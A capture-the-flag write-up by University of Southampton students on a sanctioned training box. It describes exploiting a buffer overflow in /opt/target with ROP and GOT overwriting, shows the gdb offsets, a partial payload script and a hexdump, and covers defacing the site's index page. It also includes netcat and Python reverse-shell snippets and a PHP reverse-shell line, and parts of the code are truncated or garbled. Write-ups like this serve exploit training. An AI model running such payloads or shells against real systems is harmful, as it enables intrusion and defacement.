University of Southampton

Authors: James Prance, David Young, Josh Curry

Background to the challenge

On the 19th November a group of us attended a training day at the University of Cambridge. This consisted of a series of talks about techniques for reversing linux binaries. We primarily looked at getting a shell by overflowing an input buffer and interacting with the stack below. During the event we learnt about naïve stack overwriting with executable stack and ASLR disabled (/proc/sys/kernel/randomize_va_space set to 0), all the way up to using ROP gadgets and GOT overwriting, allowing us to bypass both of these protections.

As a competitive exercise in practicing what was covered, a challenge box was opened up on the following Monday. Having been given SSH access, our quest was to perform a similar exploit on the binary /opt/target, which was compiled from the same source as in the workshop but without the jmp rsp gadget or format string vulnerability, and the machine had its ASLR set to full (2).

/opt/target Buffer Overflow


  • Create payload
  • Exploit
  • Profit

Generating the exploit payload

At first, we adapted Example 7 by using /bin/sh instead of /opt/cs as the executable to run. This, coupled with a recalculated offset between puts and execve, allowed us to get a bash shell (as /bin/sh was symlinked to /bin/bash), albeit dropping the euid. This proved to us that exploit code could work, but didn't allow us to do anything useful.

We soon realised that the system had python installed and aimed to further adapt the code to call this. This presented a problem as the path of the python binary was longer than 8 bytes (/bin/python). At first we tried symlinking to python from /tmp/py, but this did not work as /tmp was mounted noexec. After consulting the documentation for glibc we switched to using execvp instead of execve. The main difference between execve and execvp is that execvp searches $PATH for the binary rather than expecting a full path. Hence we were able to call python on its own.

We extracted the offset between puts and execvp using gdb.

gdb /opt/target

gdb-peda$ break main  
Breakpoint 1 at 0x400618

gdb-peda$ r  
Breakpoint 1, 0x0000000000400618 in main ()

gdb-peda$ p puts  
$1 = {<text variable, no debug info>} 0x7f2b2d42d070 <puts>

gdb-peda$ p execvp  
$2 = {<text variable, no debug info>} 0x7f2b2d47c9c0 <execvp>

gdb-peda$ p/x $2-$1  
$3 = 0x4f950

We then modified this offset in the payload generation script. Coupled with python\0\0 in the position that would overwrite $rbp. Running this gave us a python shell with euid http.

python > buff  
cat buff - | /opt/target  

We were then able to run the following code to deface the web page, located at /srv/http/index.html:

t = open("/srv/http/index.html", "w")  
t.write('<h1>Well this SUCSS!</h1><br>Courtesy of University of Southampton Kool Kids</br><br><br><br><iframe width="560" height="315" src="" frameborder="0" allowfullscreen></iframe>')  

Followed by CTRL-D (drops us out of the python shell and shows stdout/stderr)

After successfully defacing the server and cleaning up, we still wanted access to test out other things, so this command gave us a free python shell:

cat buff - | ssh zero@ /opt/target  


cat buff - | ssh zero@ /opt/target  

to run on the remote box without storing any exploit code there.

Further Exploitation

After exploiting the server and defacing the website, we decided to see what other things we could do with this euid of 33 (http) set.

Remote Bash Shell

First, we set up a netcat listener on our server using:

nc -l -p 8080 (listening on 8080 TCP)  

Then, from our python shell obtained through binary explotation, we can run the following command string to establish a remote bash shell.

import socket,subprocess,os;  
os.dup2(s.fileno(),2);["/bin/bash", "-p"]);  

CTRL-D needs to be presed after entering this command to drop to the python script, as with the examples at the workshop.
Running bash with the -p flag means that it preserves the euid of 33 (http), and allows us to execute normal shell commands as the user HTTP.


From here, we tried various ways to get a fully interactive remote bash shell with a uid of 33 (http). Our main avenue of exploration was through crontab. However, we ran into issue is that a crontab had yet to be generated for the user in /var/spool/cron/http. If this file had existed (e.g. generated by PHP using crontab), then we could easily have edited it to include custom remote shellcode, which would be executed as uid http instead of as uid zero with a euid bit set. Sadly, this file could not be generated as crontab works by setting an euid to root, and therefore edited the zero user's crontab instead of http.


We felt that a good way in might be exploiting nginx if it had fastcgi enabled. Sadly, this had been commented out in the config file at /etc/nginx/nginx.conf, meaning that we were unable to use our write access as the http user to write a fastcgi script in Python or PHP to establish a remote shell, placing it in /var/lib/nginx/fastcgi.

Some example php remote shellcode: Link

  exec("/bin/sh -i <&3 >&3 2>&3");


We would like to thank Graham Rymer and the team at Cambridge for organising the competition and Vladimiro Sassone for getting the Southampton contingent organised.


Other Tools

Running ropper, readelf and gdb on /opt/target could be done from the UCam.ova Arch Linux VM by installing sshfs and then mounting / on the remote box locally. We didn't need ropper to complete the challenge, but it was useful for performing reverse lookups on the ROP gadgets to make sure that we understood what we were doing. For example,
ropper --file target | grep 4005fe gives pop rdx; ret;. Without the ropper part, this could all be done on the challenge box, as both readelf and gdb were installed on it.

Exploit Payload

import sys;  
        # fix i and j so that puts is called
        # our 8 byte string to overwrite the saved base pointer
        # pop rcx; ret;
        # GOT entry for puts.
        # Found by running `readelf -r target`
        # pop rdx; ret;
        # offset between puts and execvp in glibc
        # (see GDB section above)
        # add qword ptr [rcx], rdx; ret;
        # push rbp; mov rbp, rsp; pop rdi; ret;
        # pushes saved rbp (our 8 byte string) onto stack
        # then saves ptr to it in rbp then pops it into rdi
        # push rbp; mov rbp, rsp; pop rdi; ret;
        # push ptr to string onto stack then pops
        # into rdi as first argument for execve
        +b"\x00\x00\x00\x00\x00\x40\x05\xfc"[::-1] # pop rsi; ret;
        +b"\x00"*8 # null argument to gadget
        +b"\x00\x00\x00\x00\x00\x40\x05\xfe"[::-1] # pop rdx; ret;
        +b"\x00"*8 # null argument to gadget
        # address of puts in PLT

Hexdump of the exploit payload

00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA  
00000010: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA  
00000020: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA  
00000030: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA  
00000040: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA  
00000050: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA  
00000060: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA  
00000070: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA  
00000080: dece ac00 0000 0000 55ce ac00 0000 0000 ........U.......  
00000090: 7079 7468 6f6e 0000 0006 4000 0000 0000 python....@.....  
000000a0: 1810 6000 0000 0000 fe05 4000 0000 0000 ..`.......@.....  
000000b0: 50f9 0400 0000 0000 0806 4000 0000 0000 P.........@.....  
000000c0: f605 4000 0000 0000 f605 4000 0000 0000 ..@.......@.....  
000000d0: fc05 4000 0000 0000 0000 0000 0000 0000 ..@.............  
000000e0: fe05 4000 0000 0000 0000 0000 0000 0000 ..@.............  
000000f0: c004 4000 0000 0000                     ..@.....